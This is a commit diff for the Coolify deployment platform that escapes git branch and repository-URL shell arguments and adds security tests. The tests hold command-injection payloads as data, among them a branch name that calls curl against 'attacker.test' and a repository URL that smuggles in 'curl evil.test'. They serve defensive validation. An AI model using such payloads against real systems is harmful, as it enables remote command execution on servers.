Improve deployment input handling (#10504)
This commit is contained in:
commit
51a3017e06
4 changed files with 207 additions and 3 deletions
|
|
@ -2248,11 +2248,22 @@ private function set_coolify_variables()
|
|||
}
|
||||
}
|
||||
if (isset($this->application->git_branch)) {
|
||||
$this->coolify_variables .= "COOLIFY_BRANCH={$this->application->git_branch} ";
|
||||
$this->coolify_variables .= 'COOLIFY_BRANCH='.escapeShellValue($this->application->git_branch).' ';
|
||||
}
|
||||
$this->coolify_variables .= "COOLIFY_RESOURCE_UUID={$this->application->uuid} ";
|
||||
}
|
||||
|
||||
private function gitLsRemoteCommand(string $lsRemoteRef, ?string $identityFile = null): string
|
||||
{
|
||||
$sshCommand = "ssh -o ConnectTimeout=30 -p {$this->customPort} -o Port={$this->customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null";
|
||||
|
||||
if ($identityFile !== null) {
|
||||
$sshCommand .= " -i {$identityFile}";
|
||||
}
|
||||
|
||||
return 'GIT_SSH_COMMAND="'.$sshCommand.'" git ls-remote '.escapeshellarg($this->fullRepoUrl).' '.escapeshellarg($lsRemoteRef);
|
||||
}
|
||||
|
||||
private function check_git_if_build_needed()
|
||||
{
|
||||
if (is_object($this->source) && $this->source->getMorphClass() === GithubApp::class && $this->source->is_public === false) {
|
||||
|
|
@ -2298,7 +2309,7 @@ private function check_git_if_build_needed()
|
|||
executeInDocker($this->deployment_uuid, 'chmod 600 /root/.ssh/id_rsa'),
|
||||
],
|
||||
[
|
||||
executeInDocker($this->deployment_uuid, "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$this->customPort} -o Port={$this->customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" git ls-remote {$this->fullRepoUrl} {$lsRemoteRef}"),
|
||||
executeInDocker($this->deployment_uuid, $this->gitLsRemoteCommand($lsRemoteRef, '/root/.ssh/id_rsa')),
|
||||
'hidden' => true,
|
||||
'save' => 'git_commit_sha',
|
||||
]
|
||||
|
|
@ -2306,7 +2317,7 @@ private function check_git_if_build_needed()
|
|||
} else {
|
||||
$this->execute_remote_command(
|
||||
[
|
||||
executeInDocker($this->deployment_uuid, "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$this->customPort} -o Port={$this->customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git ls-remote {$this->fullRepoUrl} {$lsRemoteRef}"),
|
||||
executeInDocker($this->deployment_uuid, $this->gitLsRemoteCommand($lsRemoteRef)),
|
||||
'hidden' => true,
|
||||
'save' => 'git_commit_sha',
|
||||
],
|
||||
|
|
|
|||
|
|
@ -7,6 +7,10 @@
|
|||
{
|
||||
public function up(): void
|
||||
{
|
||||
if (DB::connection()->getDriverName() !== 'pgsql') {
|
||||
return;
|
||||
}
|
||||
|
||||
// Fillfactor < 100 leaves free space per page so Postgres can do HOT
|
||||
// (Heap-Only Tuple) in-place updates instead of allocating a new tuple
|
||||
// elsewhere. Coolify's hot-update tables churn rows on every Sentinel
|
||||
|
|
@ -40,6 +44,10 @@ public function up(): void
|
|||
|
||||
public function down(): void
|
||||
{
|
||||
if (DB::connection()->getDriverName() !== 'pgsql') {
|
||||
return;
|
||||
}
|
||||
|
||||
DB::statement('ALTER TABLE applications RESET (fillfactor, autovacuum_vacuum_scale_factor)');
|
||||
DB::statement('ALTER TABLE servers RESET (fillfactor, autovacuum_vacuum_scale_factor)');
|
||||
DB::statement('ALTER TABLE services RESET (fillfactor)');
|
||||
|
|
|
|||
89
tests/Feature/Api/ApplicationGitBranchSecurityTest.php
Normal file
89
tests/Feature/Api/ApplicationGitBranchSecurityTest.php
Normal file
|
|
@ -0,0 +1,89 @@
|
|||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Str;
|
||||
use Visus\Cuid2\Cuid2;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
InstanceSettings::unguarded(fn () => InstanceSettings::firstOrCreate(['id' => 0]));
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$plainTextToken = Str::random(40);
|
||||
$token = $this->user->tokens()->create([
|
||||
'name' => 'git-branch-security-test-'.Str::random(6),
|
||||
'token' => hash('sha256', $plainTextToken),
|
||||
'abilities' => ['*'],
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
$this->bearerToken = $token->getKey().'|'.$plainTextToken;
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
|
||||
StandaloneDocker::withoutEvents(function () {
|
||||
$this->destination = $this->server->standaloneDockers()->firstOrCreate(
|
||||
['network' => 'coolify'],
|
||||
['uuid' => (string) new Cuid2, 'name' => 'test-docker']
|
||||
);
|
||||
});
|
||||
|
||||
$this->project = Project::create([
|
||||
'uuid' => (string) new Cuid2,
|
||||
'name' => 'test-project',
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
$this->environment = $this->project->environments()->first();
|
||||
$this->application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
'git_branch' => 'main',
|
||||
]);
|
||||
});
|
||||
|
||||
function gitBranchApiHeaders(string $bearerToken): array
|
||||
{
|
||||
return [
|
||||
'Authorization' => 'Bearer '.$bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
];
|
||||
}
|
||||
|
||||
describe('PATCH /api/v1/applications/{uuid} git_branch security', function () {
|
||||
test('rejects backtick command substitution branch payloads', function () {
|
||||
$payload = 'main`curl${IFS}attacker.test/coolify-rce-`id${IFS}-u``';
|
||||
|
||||
$response = $this->withHeaders(gitBranchApiHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$this->application->uuid}", [
|
||||
'git_branch' => $payload,
|
||||
]);
|
||||
|
||||
$response->assertUnprocessable()
|
||||
->assertJsonValidationErrors('git_branch');
|
||||
|
||||
expect($this->application->refresh()->git_branch)->toBe('main');
|
||||
});
|
||||
|
||||
test('accepts safe branch names', function () {
|
||||
$response = $this->withHeaders(gitBranchApiHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$this->application->uuid}", [
|
||||
'git_branch' => 'feature/safe-branch_1.2.3',
|
||||
]);
|
||||
|
||||
$response->assertOk();
|
||||
|
||||
expect($this->application->refresh()->git_branch)->toBe('feature/safe-branch_1.2.3');
|
||||
});
|
||||
});
|
||||
|
|
@ -1,6 +1,8 @@
|
|||
<?php
|
||||
|
||||
use App\Jobs\ApplicationDeploymentJob;
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationSetting;
|
||||
use App\Rules\ValidGitBranch;
|
||||
use App\Support\ValidationPatterns;
|
||||
|
||||
|
|
@ -128,6 +130,38 @@
|
|||
});
|
||||
|
||||
describe('API validation rules for path fields', function () {
|
||||
test('git_branch validation rejects shell metacharacters', function (string $branch) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['git_branch' => $branch],
|
||||
['git_branch' => $rules['git_branch']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
})->with([
|
||||
'backtick command substitution' => 'main`id`',
|
||||
'dollar command substitution' => 'main$(id)',
|
||||
'semicolon command separator' => 'main;id',
|
||||
'ifs shell expansion' => 'main${IFS}id',
|
||||
'space separator' => 'main branch',
|
||||
]);
|
||||
|
||||
test('git_branch validation allows safe branch names', function (string $branch) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['git_branch' => $branch],
|
||||
['git_branch' => $rules['git_branch']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with([
|
||||
'main',
|
||||
'feature/safe-branch',
|
||||
'release_2026.06',
|
||||
]);
|
||||
|
||||
test('dockerfile_location validation rejects shell metacharacters', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
|
|
@ -184,6 +218,68 @@
|
|||
});
|
||||
});
|
||||
|
||||
describe('deployment git command escaping', function () {
|
||||
test('ls-remote command shell-quotes repository and ref arguments', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$instance = $job->newInstanceWithoutConstructor();
|
||||
|
||||
foreach ([
|
||||
'customPort' => 22,
|
||||
'fullRepoUrl' => "git@example.com:org/repo.git'; curl evil.test; #",
|
||||
] as $property => $value) {
|
||||
$reflectionProperty = $job->getProperty($property);
|
||||
$reflectionProperty->setAccessible(true);
|
||||
$reflectionProperty->setValue($instance, $value);
|
||||
}
|
||||
|
||||
$method = $job->getMethod('gitLsRemoteCommand');
|
||||
$method->setAccessible(true);
|
||||
|
||||
$command = $method->invoke($instance, 'refs/heads/main`id`', '/root/.ssh/id_rsa');
|
||||
|
||||
expect($command)
|
||||
->toContain("git ls-remote 'git@example.com:org/repo.git'\\''; curl evil.test; #' 'refs/heads/main`id`'")
|
||||
->toContain('-i /root/.ssh/id_rsa')
|
||||
->not->toContain('repo.git; curl');
|
||||
});
|
||||
|
||||
test('coolify branch shell assignment is quoted', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$instance = $job->newInstanceWithoutConstructor();
|
||||
|
||||
$application = new Application;
|
||||
$application->uuid = 'app-uuid';
|
||||
$application->git_branch = 'main`id`';
|
||||
$application->fqdn = null;
|
||||
$application->compose_parsing_version = '3';
|
||||
|
||||
$settings = new ApplicationSetting;
|
||||
$settings->include_source_commit_in_build = false;
|
||||
$application->setRelation('settings', $settings);
|
||||
|
||||
foreach ([
|
||||
'application' => $application,
|
||||
'commit' => 'HEAD',
|
||||
'pull_request_id' => 0,
|
||||
] as $property => $value) {
|
||||
$reflectionProperty = $job->getProperty($property);
|
||||
$reflectionProperty->setAccessible(true);
|
||||
$reflectionProperty->setValue($instance, $value);
|
||||
}
|
||||
|
||||
$method = $job->getMethod('set_coolify_variables');
|
||||
$method->setAccessible(true);
|
||||
$method->invoke($instance);
|
||||
|
||||
$coolifyVariables = $job->getProperty('coolify_variables');
|
||||
$coolifyVariables->setAccessible(true);
|
||||
|
||||
expect($coolifyVariables->getValue($instance))
|
||||
->toContain("COOLIFY_BRANCH='main`id`' ")
|
||||
->toContain('COOLIFY_RESOURCE_UUID=app-uuid ');
|
||||
});
|
||||
});
|
||||
|
||||
describe('sharedDataApplications rules survive array_merge in controller', function () {
|
||||
test('docker_compose_location safe regex is not overridden by local rules', function () {
|
||||
$sharedRules = sharedDataApplications();
|
||||
|
|
|
|||
Loading…
Reference in a new issue